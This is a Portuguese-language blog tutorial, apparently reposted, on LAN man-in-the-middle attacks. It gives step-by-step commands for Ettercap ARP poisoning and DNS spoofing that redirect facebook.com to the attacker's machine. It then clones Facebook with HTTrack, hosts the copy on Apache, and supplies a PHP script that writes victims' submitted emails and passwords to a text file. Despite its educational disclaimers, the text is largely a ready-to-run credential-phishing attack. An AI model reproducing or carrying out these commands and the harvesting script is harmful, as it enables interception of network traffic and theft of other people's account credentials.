Explicar como funcionam ferramentas de clonagem de site, ataques MITM, entre outros.
Introdução
Este post tem como objetivo explicar e
demonstrar como utilizar ferramentas de segurança para o bem. Logo,
qualquer tipo de uso incorreto não será de responsabilidade de quem vos
escreve.
Será utilizado 2 VM, sendo uma rodando
BackTtrack R5 e Windows XP. Você poderá baixar o Back Track R5 em seu
site: http://www.backtrack-linux.org/downloads/, e a aplicação para
virtualizar essas máquinas será o VirtualBox que pode ser baixado em seu
site: https://www.virtualbox.org/wiki/Downloads.
Observações iniciais
Todas as ferramentas utilizadas são livre, exceto o Windows XP.
Não estarei explicando como instalar nem
configurar as máquinas virtuais e/ou os S.O, caso queira entre em
contato comigo ou pesquise.
O intuito deste tutorial é educativo,
uma forma de demonstrar a fragilidade de uma rede, sendo vetado o uso
para prejudicar ou obter dados ilegalmente.
Caso tenha dúvidas, entrar em contato comigo para que eu possa ajudar.
Ferramenta
Ettercap é uma livre e de código aberto
de segurança de rede ferramenta para man-in-the-middle em LAN . Ele pode
ser usado para o computador de protocolo de rede de análise e segurança
de auditoria.
Ele é capaz de interceptar o tráfego de
um segmento de rede, capturando senhas e conduzindo escutas ativo contra
um certo número de protocolos comuns.
Funcionalidade
Ettercap funciona colocando a interface
de rede em modo promíscuo e por envenenamento ARP nas máquinas alvo.
Assim, ele pode atuar como um “homem no meio” e desencadear vários
ataques sobre as vítimas. Ettercap tem suporte a plugins, de modo que os
recursos podem ser estendido adicionando novos plugins.
Características- Ettercap suporta dissecação ativa e passiva de muitos protocolos (inclusive cifrados) e oferece muitos recursos para análise de rede e host. Ettercap oferece quatro modos de operação:
- Baseada em IP: pacotes são filtrados com base em IP de origem e de destino.
- MAC-based: pacotes são filtrados com base no endereço MAC , útil para farejar conexões através de um gateway.
- ARP -based: usa envenenamento ARP para farejar em uma LAN comutada entre dois hosts (full-duplex).
- PublicARP-based: usa envenenamento ARP para farejar em uma LAN comutada de um host vítima de todos os outros hosts (half-duplex).
- Além disso, o software também oferece os seguintes recursos:
- Injeção personagem em uma conexão estabelecida: caracteres pode ser injetado em um servidor (emulando comandos) ou para um cliente (emulando respostas) mantendo uma ligação ao vivo.
- SSH1 apoio: o sniffing de um nome de usuário e senha, e mesmo os dados de uma conexão de SSH1. Ettercap é o primeiro software capaz de farejar um SSH conexão em full duplex.
- HTTPS apoio: o sniffing de HTTP SSL segura de dados, mesmo quando a conexão é feita através de uma procuração.
- Tráfego remoto através de um GRE túnel: o sniffing de tráfego remoto através de um túnel GRE de um controle remoto Cisco roteador , e realizar um man-in-the-middle sobre ele.
- Plug-in de apoio: criação de plugins personalizados usando ettercap API .
- Coletores de senha para: TELNET , FTP , POP , IMAP , rlogin , SSH1 , ICQ , SMB , MySQL , HTTP , NNTP , X11 , Napster , IRC , RIP , BGP , SOCKS 5 , IMAP 4 , VNC , LDAP , NFS , SNMP , Half-Life , Quake 3 , MSN , YMSG.
- Filtragem de pacotes / soltar: a criação de um filtro que procura por uma determinada seqüência (ou sequência hexadecimal) no TCP ou UDP payload e substitui-lo com uma seqüência personalizada / seqüência de escolha, ou descarta o pacote inteiro.
- OS fingerprinting : determinar o sistema operacional do host vítima e seu adaptador de rede.
- Matar uma conexão: matando ligações de escolha a partir da lista de conexões.
- Digitalização passivo da LAN : recuperação de informações sobre os hosts da LAN, suas abertas as portas , os números de versão dos disponíveis serviços , o tipo de host ( porta de entrada , roteador ou simples PC ) e distâncias estimadas em número de saltos.
- Sequestro de DNS pedidos.
Instalação dos pacotes
Ao término da instalação do BTK (Back Track), em sua máquina virtual criada, inicie a mesma.
Entre como superusuário (root),
lembrando se for a primeira vez que você utiliza o BTK, a senha do root
será toor. Caso queira trocar depois fique a vontade.
Iremos instalar o ettercap, para realizarmos esta tarefa, abra o Shell de comando.
Agora iremos utilizar o comando:# apt-get install ettercap
O comando acima irá instalar o pacote do
ettercap. Por default o BTK não vem com esse pacote instalado, logo
podemos utilizar o APT para instalar ou baixar o pacote atualizado
dentro do site do mantedor.
Lembrando que para que você instale qualquer pacote no BTK, você terá que ter acesso a Internet.
Se tudo der certo, poderemos configurar.
Se quiser saber mais sobre a versão e outras informações sobre o pacote, execute:
# dpkg -l ettercapSintaxe do comando
# ettercap [OPTIONS] [TARGET 1] [TARGET 2]
Opções: -M --mitm <METHOD:ARGS> --> realizar um ataque mitm -O --only-mitm --> não farejar, apenas executar o ataque MITM -B --bridge <IFACE> --> usar ponte farejar (precisa de 2 ifaces) -p --nopromisc --> não colocar a inteface de rede no modo promisc -u --unoffensive --> não encaminhar pacotes
Agora iremos Spoofar o DNS da rede,
fazendo com que todas as requisições a os sites informados nos
navegadores passem por dentro do nosso servidor.
Exemplo:
Caso o usuário queira acessar o site da
unicarioca, poderemos redirecionar o mesmo para uma página fake dentro
do nosso BTK. Neste caso, será apresentado uma ferramenta para clonar
sites.
Primeiramente, teremos que localizar o arquivo etter.dns.
Este arquivo irá conter todos os site
que desejamos “assumir” como sendo o original. A partir disso qualquer
navegador que tentar entrar acessar o site configurado dentro do arquivo
informado, será redirecionado para a página fake, redirecionado para
outra, ou negado acesso.
Para configurar o arquivo que irá conter
os sites, utilizaremos o editor de texto para modo texto VIM. Este
editor por padrão vem nativo com o sistema. Mas primeiro teremos que
localizar o arquivo.
# updatedb# locate etter.dns
# vim /usr/local/share/ettercap/etter.dns
Iremos editar o seguinte arquivo: etter.dns.
O mesmo está localizado em: /usr/local/share/ettercap/etter.dns.
# vim /usr/local/share/ettercap/etter.dns
Para que possamos configurar o etter.dns teremos que entender o funcionamento do arquivo de configuração.
A configuração do arquivo é dividido em 3 partes.
- Nome do endereço.
- Tipo de resource records (RRs).
- Endereço IP.
Iremos definir quais sites serão
redirecionados. Dentro do arquivo já existe alguns exemplos de sites já
configurados. Caso queira manter esses, basta apenas não apagar as
linhas.
Tipo de registro DNS
O Sistema de Nomes de Domínio é um banco
de dados distribuído. Isso permite um controle local dos segmentos do
banco de dados global, embora os dados em cada segmento estejam
disponíveis em toda a rede através de um esquema cliente-servidor.
- Arquitetura hierárquica
- Distribuída eficientemente, sistema descentralizado e com cache.
- O principal propósito é a resolução de nomes de domínio em endereços IP e vice-versa
Os dados associados com os nomes de domínio estão contidos em Resource Records ou RRs (Registro de Recursos), podendo ser:
- SOA Indica onde começa a autoridade a zona.
- NS Indica um servidor de nomes para a zona.
- A Mapeamento de nome a endereço (IPv4).
- AAAA Mapeamento de nome a endereço (IPv6).
- MX Indica um mail exchanger para um nome (servidor de email).
- CNAME Mapeia um nome alternativo (apelido ou indireção).
- TXT Campo de texto livre.
- PTR É utilizado em zonas reversas, para fazer o mapeamento reverso, ou seja, o mapeamento de um número IP para um nome. Ao criar um registro do tipo A, em uma zona direta, você pode criar, automaticamente, o registro PTR associado, se já houver uma zona reversa configurada.
O IP (Internet Protocol) é o principal
protocolo de comunicação da Internet. Ele é o responsável por endereçar e
encaminhar os pacotes que trafegam pela rede mundial de computadores.
Entendimento do arquivo
Um exemplo do arquivo de configuração etter.dns.
Nome do endereço
|
RRs
|
IP
|
*.microsoft.com
|
A
|
198.182.196.56
|
www.microsoft.com
|
PTR
|
198.182.196.56
|
No exemplo acima, esta configurando para
que quando qualquer usuário quiser acessar o site da Microsoft será
redirecionado para o IP informado no final da linha, neste caso o IP
será 198.182.196.56.
Você pode configurar para qualquer IP.
Obs:
Fazendo um comparativo com o Windows, o mesmo possui um arquivo chamado de hosts localizado dentro de %systemroot%\system32\drives\etc\hosts, e dentro deste arquivo podemos configurar as mesma informações que iremos configurar aqui, sendo que para este caso, irá funcionar somente na máquina que você configurar.
Fazendo um comparativo com o Windows, o mesmo possui um arquivo chamado de hosts localizado dentro de %systemroot%\system32\drives\etc\hosts, e dentro deste arquivo podemos configurar as mesma informações que iremos configurar aqui, sendo que para este caso, irá funcionar somente na máquina que você configurar.
Agora iremos configurar o site que queremos que seja redirecionado para o nosso servidor.
Para isso iremos ter que escolher o
alvo. Neste exemplo irei configurar o site do Facebook para que quando o
usuário acesse na rede através de seu navegador seja redirecionado para
uma página qualquer.
Logo após a última linha da Microsoft, de um <enter> e coloque conforme a seguir:
Nome do endereço
|
RRs
|
IP
|
facebook.com
|
A
|
192.168.1.115
|
*.facebook.com
|
A
|
192.168.1.115
|
www.facebook.com
|
PTR
|
192.168.1.115
|
Note que no IP, informei o meu IP (192.168.1.115). Salve as configurações feitas.
Para saber seu IP no Linux, abra outro terminal e digite:
# ifconfig
Para iniciarmos o teste, teremos que digitar:
# ettercap -T -q -M arp -i eth0 -P dns_spoof //Onde: -T --> Modo texto. -q --> Execução em modo promiscuo. -M --> Redirecionamento MITM (Man in the Middle). -I --> Interface de rede que será utilizada. -P --> Plugin utilizado.
Ao executar o comando acima, você irá
fazer um spoof na rede toda, assim todos que quiserem acessar o site do
Facebook não irão conseguir.
A imagem a seguir mostra o erro que irá acontecer quando o usuário quiser acessar o site.
Antes de rodar o comando.
Depois de rodar o comando.
Motivo?
R: Estamos informando que o site do Facebook encontrasse dentro do nosso computador e neste caso não é verdade.
Idéia:
Configurar o Apache para atender a solicitação.
As tentativas são exibidas na tela.
O BTK já vem com o apache configurado.
Para habilitar o serviço execute o seguinte comando:
# /etc/init.d/apache2 restart
O usuário quando tentar novamente acessar a página configurada irá ser exibida a seguinte tela.
Lembrando que esta página pode ser configurada, bastando o usuário saber um pouco de HTML.
Pergunta:
Mas não seria obvio que alguém teria
feito algo de errado? Não seria mais interessante redirecionar para uma
página parecida com o do Facebook?
Resposta:
Sim, evidente que qualquer usuário irá
verificar um problema ao tentar acessar a página e acharia suspeito e
não tentaria novamente. Sim, irei mostrar uma ferramenta utilizada para
clonar uma página da internet.
Página Fake
Páginas fakes são páginas não verdadeiras, isto é, páginas que não são de origens verdadeiras.
Ferramentas – Httrack
Podemos utilizar diversas ferramentas, mas nesse tutorial irei explicar o HTTrack.
HTTrack é um web crawler livre e de
código aberto e também navegador offline, desenvolvido por Xavier Roche e
licenciado sob a GNU General Public License.
Permite o download de sites da World
Wide Web da Internet para um computador local. Por padrão, o HTTrack
organiza o site baixado pela sua estrutura original. O website baixado
(ou “copiado”) pode ser pesquisado através da abertura de uma página do
site em um navegador.
O HTTrack pode também atualizar um site
copiado existente e recomeçar downloads interrompidos. HTTrack é
totalmente configurável por opção e por filtros (incluir/excluir) e
possui um sistema integrado de ajuda. Existe uma versão de linha de
comandos básicos e duas versões GUI (WinHTTrack e WebHTrack); o primeiro
pode ser parte de scripts.
O HTTrack usa um web crawler para fazer
download de um website. Algumas partes do site não podem ser
transferidas, por padrão, devido ao protocolo de exclusão de robôs, a
não ser que seja desabilitado durante o programa.
HTTrack pode seguir links que são
gerados com JavaScript básico e dentro de Applets ou Flash, mas não
ligações complexas (geradas usando funções ou expressões).
Este por sua vez, não é nativo do BTK R5, logo teremos que instalar. Execute o comando a seguir:
# apt-get update# apt-get upgrade
# apt-get install httrack
Pressione Y para instalar.
Pronto, agora que o pacote foi instalado poderemos começar.
Primeiro iremos criar um diretório onde irá conter os sites clonados.
# mkdir /root/websites
Agora iremos entrar dentro do diretório.
# cd /root/websites
Em seguida iremos utilizar o Httrack
para realizar a cópia. Lembrando que irei utilizar ele de maneira
simplificada. Na bibliografia informei um bom vídeo que explica melhor a
outra maneira.
# httrack https://facebook.com# ls -l
O comando ls irá listar o conteúdo do
diretório, a opção -l irá exibir em uma forma mais detalhada. Dentro
dele você irá encontrar o arquivo referente à página do facebook.
Diante dessas informações, iremos
colocar dentro de /var/www/ os arquivo da página do facebook, este
caminho irá ser utilizado pelo apache para exibir a página fake.
Execute o seguinte comando:
# cd ..# cp -rp websites/* /var/www/
# chmod +x -R /var/www/
OBS.:
O site do Facebook teve algumas
modificações como: Se deixar da maneira informado acima, a barra de
endereços irá ficar gigantesca. Para que fique algo mais real, você terá
que copiar o conteúdo da pasta www.facebook.com para dentro de
/var/www/. Somente assim irá funcionar perfeitamente.
Nos comandos acima, saímos do diretório atual e em seguida copiamos o conteúdo para o /var/www.
Agora temos que reiniciar o serviço do apache.
# /etc/init.d/apache2 restart
A partir de agora, todas as solicitações feitas ao site do Facebook será redirecionada para está página fake.
Obs.:
O Ettercap funciona como um sniffer
de rede também, logo você poderá capturar senhas não criptografadas pela
rede. Isso claro vai depender de como o site transmite o login e senha.
Plus – Idéias extras…
Nesta etapa irei dar algumas idéias, mas
lembrando que tudo informado neste tutorial é para apenas aprendizado, e
que qualquer ato de vandalismo, roubo ou algo que leve a um ato não
permitido, você será responsável.
1º Idéia
Para que sabe um pouco de linguagem para
web (PHP, HTML, Java Script), podemos alterar a action do formulário de
login e senha, podendo enviar o usuário para outra página na internet,
evitando assim que ele acesse o site que é proibido pela empresa.
2º Idéia
Podemos alterar a action do login e
senha para que seja enviado para um outro arquivo em PHP, capturando
assim usuário e senha da vítima.
Para realizar este procedimento:
Crie um arquivo chamado enviar_msg.php e dentro deste arquivo deverá conter as seguintes linhas:
# vim enviar_msg.php# chmod +x enviar_msg.php
<? $email = $_POST[“email”]; $senha = $_POST[“pass”]; $msg = “<br>”; $msg .= “<font color=#000000> <b> E-mail: </b> $email </font><br>”; $msg .= “<font color=#000000> <b> Senha: </b> $senha </font><br>”; $msg .= “<br>”; $msg .= “<font color=#000000> ................................................................. </font>”; $ponteiro = fopen (“mensagens.txt”, ”a”); fwrite($ponteiro, “$msg\n\n”); fclose ($ponteiro); echo "<script>javascript:document.location='index.html' </script>"; // Essa linha irá retornar para a mesma página. ?>
Na página do facebook (índex.html), deveremos realizar algumas alterações.
Primeiro vamos ter que localizar os
action e alterar para enviar_msg.php, se não me engano, existem 2
actions dentro do índex.html do facebook, o método utilizado para envio
será o post.
Em seguida teremos que criar o arquivo de texto que irá receber as senhas digitadas.
# > mensagens.txt# chmod 777 mensagens.txt
OBS:
Não se esqueça de dar permissão de execução ao arquivo php e de gravação ao arquivo de texto.
Para visualizar, recomendo que você gere um HTML do arquivo de texto que contem as senhas.
# cp mensagens.txt mensagens.html
Depois acesse com seu navegador até o arquivo HTML. Abra o navegador e digite:
/var/www/mensagens.htmlBibliografia:
Sites:
- ftp://ftp.registro.br/pub/doc/introducao-dns-dnssec.pdf
- http://registro.br/suporte/servico-dns.html
- ftp://ftp.registro.br/pub/doc/tutorial-dnssec.pdf
- ftp://ftp.registro.br/rfc/rfc2181.txt
- http://www.juliobattisti.com.br/artigos/windows/tcpip_p24.asp
- http://www.techtudo.com.br/artigos/noticia/2012/05/o-que-e-ip.html
- http://pt.wikipedia.org/wiki/HTTrack
- http://www.httrack.com/
- http://en.wikipedia.org/wiki/Ettercap_(computing)
http://www.youtube.com/watch?v=7-lcprEmLe0
Fonte :http://www.mundotibrasil.com.br
0 comentários:
Postar um comentário